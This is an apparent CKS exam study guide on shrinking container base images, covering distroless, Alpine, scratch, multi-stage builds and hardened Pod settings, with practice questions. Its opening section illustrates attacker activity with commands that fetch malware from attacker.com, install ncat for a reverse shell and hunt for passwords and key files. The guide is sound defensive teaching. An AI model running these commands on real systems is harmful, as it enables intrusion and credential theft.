CKS — Minimize Base Image Footprint
Minimize Base Image Footprint
CKS Exam Domain: Supply Chain Security (20%)
Every package, library, and binary in a container image is potential attack surface. A bloated image with a full OS, package manager, shell, and debug tools gives attackers everything they need to escalate from a compromised application to full container escape. The CKS exam expects you to build and select images that contain only what the application needs to run — nothing more.
1. The Problem with Fat Images
A standard ubuntu:22.04 image ships with:
bash,sh, and other shellsapt,dpkg— full package managementcurl,wget— network utilitiesfind,grep,awk,sed— text processing- Hundreds of libraries and shared objects
An attacker who gains code execution inside a container built on this image can:
# Download additional tools
curl http://attacker.com/malware -o /tmp/malware && chmod +x /tmp/malware
# Install a reverse shell
apt update && apt install -y ncat
# Enumerate the environment
cat /etc/os-release
whoami
env | grep -i password
find / -name "*.key" -o -name "*.pem" 2>/dev/null
With a distroless or minimal image, none of these commands exist. The attacker has code execution but no tools to exploit it.
2. Distroless Images
Google’s distroless images contain only the application and its runtime dependencies. They have:
- No shell (
/bin/sh,/bin/bash— absent) - No package manager (
apt,apk,yum— absent) - No common utilities (
curl,wget,nc,find— absent) - Minimal OS libraries (glibc or equivalent only)
Available Distroless Base Images
| Image | Use Case | Size |
|---|---|---|
gcr.io/distroless/static-debian12 |
Statically compiled binaries (Go, Rust) | ~2 MB |
gcr.io/distroless/base-debian12 |
Dynamically linked binaries (need glibc) | ~20 MB |
gcr.io/distroless/java21-debian12 |
Java 21 applications | ~220 MB |
gcr.io/distroless/python3-debian12 |
Python 3 applications | ~50 MB |
gcr.io/distroless/nodejs22-debian12 |
Node.js 22 applications | ~120 MB |
Example: Go Application on Distroless
# Build stage
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -o /app/server .
# Runtime stage — distroless
FROM gcr.io/distroless/static-debian12
COPY --from=builder /app/server /server
USER 65534
ENTRYPOINT ["/server"]
Result: The final image is ~7 MB with zero shell access.
Debugging Distroless Containers
Since distroless has no shell, you cannot kubectl exec into it normally. Use ephemeral debug containers:
# Attach a debug container to a running distroless Pod
kubectl debug -it <pod-name> --image=busybox --target=<container-name>
# Or use the debug variant (NOT for production)
# gcr.io/distroless/base-debian12:debug ← includes busybox shell
CKS Exam Tip: The exam may ask you to identify why
kubectl execfails on a Pod — if the image is distroless, there is no shell to exec into. Usekubectl debuginstead.
3. Alpine-Based Images
Alpine Linux uses musl libc instead of glibc and ships with a minimal package set. It’s a middle ground between full OS images and distroless.
FROM alpine:3.19
RUN apk add --no-cache python3 py3-pip
COPY app.py /app/
USER 65534
CMD ["python3", "/app/app.py"]
Alpine Security Hardening
FROM alpine:3.19
# Install only what's needed
RUN apk add --no-cache python3 && \
# Remove the package manager after installing
apk del apk-tools && \
rm -rf /var/cache/apk/* /sbin/apk
COPY app.py /app/
USER 65534
CMD ["python3", "/app/app.py"]
4. Alpine vs Distroless Comparison
| Criteria | Alpine | Distroless | Full OS (Ubuntu/Debian) |
|---|---|---|---|
| Image Size | 5–50 MB | 2–20 MB | 70–200 MB |
| Shell Access | Yes (ash) | No | Yes (bash) |
| Package Manager | apk | None | apt/dpkg |
| CVE Count | Low | Very Low | High |
| Debug Capability | Easy | Hard (requires ephemeral containers) | Easy |
| libc | musl (may cause compatibility issues) | glibc | glibc |
| Security Score | Good | Excellent | Poor |
| CKS Recommendation | Acceptable | Preferred | Avoid |
5. Multi-Stage Docker Builds
Multi-stage builds are the standard pattern for producing minimal images. Build tools, compilers, and source code are present only in the build stage and never ship in the final image.
Why Multi-Stage Matters for Security
Without multi-stage: With multi-stage:
┌──────────────────────┐ ┌──────────────────────┐
│ Final Image │ │ BUILD stage │
│ ├── gcc │ │ ├── gcc │
│ ├── make │ │ ├── make │ ← discarded
│ ├── source code │ │ ├── source code │
│ ├── .git directory │ │ └── compiled binary │
│ ├── build artifacts │ └──────────┬───────────┘
│ ├── compiled binary │ │ COPY --from=builder
│ └── 500+ MB │ ┌──────────▼───────────┐
└──────────────────────┘ │ RUNTIME stage │
│ ├── compiled binary │
│ └── 10 MB │
└──────────────────────┘
Complete Multi-Stage Example: Python Application
# ──────────────────────────
# Stage 1: Build
# ──────────────────────────
FROM python:3.12-slim AS builder
WORKDIR /build
# Install build dependencies
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
# ──────────────────────────
# Stage 2: Runtime
# ──────────────────────────
FROM gcr.io/distroless/python3-debian12
# Copy only the installed packages and application code
COPY --from=builder /install /usr/local
COPY app/ /app/
WORKDIR /app
USER 65534
CMD ["main.py"]
Complete Multi-Stage Example: Node.js Application
# ──────────────────────────
# Stage 1: Build
# ──────────────────────────
FROM node:22-alpine AS builder
WORKDIR /build
COPY package.json package-lock.json ./
RUN npm ci --only=production
COPY src/ ./src/
# ──────────────────────────
# Stage 2: Runtime
# ──────────────────────────
FROM gcr.io/distroless/nodejs22-debian12
COPY --from=builder /build/node_modules /app/node_modules
COPY --from=builder /build/src /app/src
WORKDIR /app
USER 65534
CMD ["src/index.js"]
6. Dockerfile Security Best Practices
Run as Non-Root
# Create non-root user
RUN addgroup -g 1001 appgroup && \
adduser -u 1001 -G appgroup -D appuser
# Switch to non-root user
USER 1001
# Or use the numeric nobody user
USER 65534
Security Impact: If the container runs as root and an attacker escapes, they have root on the host (unless user namespaces are enabled). Running as non-root limits blast radius.
Copy with Ownership
# Set ownership during COPY (avoids extra RUN chown layer)
COPY --chown=1001:1001 app/ /app/
Never Put Secrets in Images
# ❌ WRONG — secret is baked into image layer history
COPY credentials.json /app/config/
ENV DATABASE_PASSWORD=s3cur3p@ss
# ✅ CORRECT — mount secrets at runtime
# Use Kubernetes Secrets or volume mounts
# ENV vars should reference mounted secret files
Even if you delete a secret in a later layer, it remains in the image history:
# View all layers including deleted files
docker history <image>
docker save <image> | tar -xf - && cat manifest.json
Use .dockerignore
# .dockerignore
.git
.gitignore
*.md
Dockerfile
docker-compose.yml
.env
*.key
*.pem
*.secret
node_modules
__pycache__
.pytest_cache
Pin Versions
# ❌ Mutable tag — can be overwritten with different content
FROM nginx:latest
# ✅ Specific version
FROM nginx:1.27.0
# ✅✅ Pinned by digest — immutable
FROM nginx@sha256:6db391d1c0cfb30588ba0bf72ea999404f2764f...
7. Image Size Comparison
| Image | Base | Size | CVE Surface |
|---|---|---|---|
node:22 |
Debian full | ~1000 MB | Very High |
node:22-slim |
Debian slim | ~200 MB | Medium |
node:22-alpine |
Alpine | ~130 MB | Low |
gcr.io/distroless/nodejs22 |
Distroless | ~120 MB | Very Low |
golang:1.22 |
Debian full | ~800 MB | Very High (build only) |
gcr.io/distroless/static |
Distroless | ~2 MB | Minimal |
alpine:3.19 |
Alpine | ~7 MB | Low |
ubuntu:22.04 |
Ubuntu | ~77 MB | High |
scratch |
Empty | 0 MB | None |
CKS Exam Tip: When asked to “minimize the attack surface,” always reach for distroless or Alpine with removed package managers. Multi-stage builds are the mechanism to get there.
8. Scratch Images for Static Binaries
The scratch image is literally empty — no files, no OS, no libraries. It only works for statically compiled binaries.
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o /app/server .
FROM scratch
COPY --from=builder /app/server /server
USER 65534
ENTRYPOINT ["/server"]
Limitation: No CA certificates, no timezone data, no
/etc/passwd. You must copy these explicitly if needed:
FROM scratch
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
COPY --from=builder /etc/passwd /etc/passwd
COPY --from=builder /app/server /server
USER 65534
ENTRYPOINT ["/server"]
9. Kubernetes Pod Configuration for Minimal Images
Even with a minimal image, Pod configuration must enforce security:
apiVersion: v1
kind: Pod
metadata:
name: secure-app
namespace: production
spec:
automountServiceAccountToken: false # Don't mount SA token
containers:
- name: app
image: registry.example.com/app@sha256:abc123... # Pinned by digest
imagePullPolicy: Always # Always pull (detect tag overwrites)
securityContext:
runAsNonRoot: true # Enforce non-root
runAsUser: 65534 # nobody user
readOnlyRootFilesystem: true # No writes to filesystem
allowPrivilegeEscalation: false # Prevent setuid
capabilities:
drop:
- ALL # Drop all Linux capabilities
resources:
limits:
memory: "128Mi"
cpu: "250m"
requests:
memory: "64Mi"
cpu: "100m"
volumeMounts:
- name: tmp
mountPath: /tmp # Writable tmp via emptyDir
volumes:
- name: tmp
emptyDir:
sizeLimit: "10Mi"
Summary
| Practice | Security Benefit |
|---|---|
| Use distroless images | No shell, no package manager, minimal attack surface |
| Multi-stage builds | Build tools never ship in production |
| Run as non-root | Limits escalation if container is compromised |
| Pin images by digest | Prevents tag overwrite attacks |
| Remove package managers | Attacker cannot install tools |
| Use .dockerignore | Prevents secrets/source from leaking into image |
| Read-only filesystem | Blocks attackers from writing persistence mechanisms |
Practice Questions
Question 1
You discover that Pods in the backend namespace are running the python:3.12 image (full Debian variant). What should you do to minimize the attack surface?
Show Answer
Replace the full python:3.12 image with a multi-stage build that uses python:3.12-slim as the build stage and gcr.io/distroless/python3-debian12 as the runtime stage. This removes:
- Shell access
- Package manager
- All unnecessary OS utilities
- Build dependencies
Alternatively, use python:3.12-alpine if distroless is not feasible, and remove apk after installing dependencies.
Question 2
A developer has the following Dockerfile. Identify all security issues:
FROM ubuntu:latest
COPY . /app
ENV DB_PASSWORD=admin123
RUN apt install -y python3 && python3 -m pip install -r /app/requirements.txt
CMD ["python3", "/app/main.py"]
Show Answer
Security issues:
FROM ubuntu:latest— Uses mutablelatesttag and a full OS image. Use a specific version or distroless.COPY . /app— Copies everything including.git, secrets, and unnecessary files. Use.dockerignore.ENV DB_PASSWORD=admin123— Secret baked into image layer. Use Kubernetes Secrets at runtime.- No
USERdirective — Container runs as root by default. - No multi-stage build —
aptandpipremain in the final image along with build tools. - Package manager not removed —
aptis available for attackers to install tools.
Fixed Dockerfile:
FROM python:3.12-slim AS builder
WORKDIR /build
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
FROM gcr.io/distroless/python3-debian12
COPY --from=builder /install /usr/local
COPY app/ /app/
WORKDIR /app
USER 65534
CMD ["main.py"]
Question 3
Why would kubectl exec -it <pod> -- /bin/sh fail on a Pod running a distroless image?
Show Answer
Distroless images do not contain a shell (/bin/sh, /bin/bash). The exec command fails because the binary does not exist in the container’s filesystem.
To debug a distroless container, use ephemeral debug containers:
kubectl debug -it <pod-name> --image=busybox --target=<container-name>
This attaches a new container with busybox (which includes a shell) to the Pod’s namespaces, allowing inspection of the process, network, and filesystem.
Question 4
What is the difference between FROM scratch and FROM gcr.io/distroless/static-debian12?
Show Answer
| Feature | scratch |
distroless/static |
|---|---|---|
| Size | 0 bytes | ~2 MB |
| CA Certificates | Not included | Included |
| Timezone data | Not included | Included |
/etc/passwd |
Not included | Includes nonroot user |
| Use case | Fully static binaries where you copy needed files manually | Static binaries that need TLS and user config |
scratch is truly empty. distroless/static includes the minimal files needed for a static binary to make HTTPS calls and run as a non-root user.
Question 5
A security auditor reports that a container image is 950 MB. How do you reduce it while improving security?
Show Answer
Step-by-step approach:
- Identify what’s in the image:
docker history <image> # Or use dive: dive <image> -
Switch to multi-stage build — separate build tools from runtime.
-
Use a minimal base image —
alpineordistrolessinstead ofubuntu/debian. - Remove unnecessary packages:
RUN apk add --no-cache <only-needed-packages> && \ apk del apk-tools -
Add
.dockerignoreto exclude.git,node_modules, test files, documentation. - Combine RUN layers to reduce intermediate layer bloat:
RUN apt-get update && apt-get install -y pkg && \ rm -rf /var/lib/apt/lists/* - Pin the image by digest once rebuilt.
Expected result: 950 MB → 20–100 MB depending on application runtime requirements.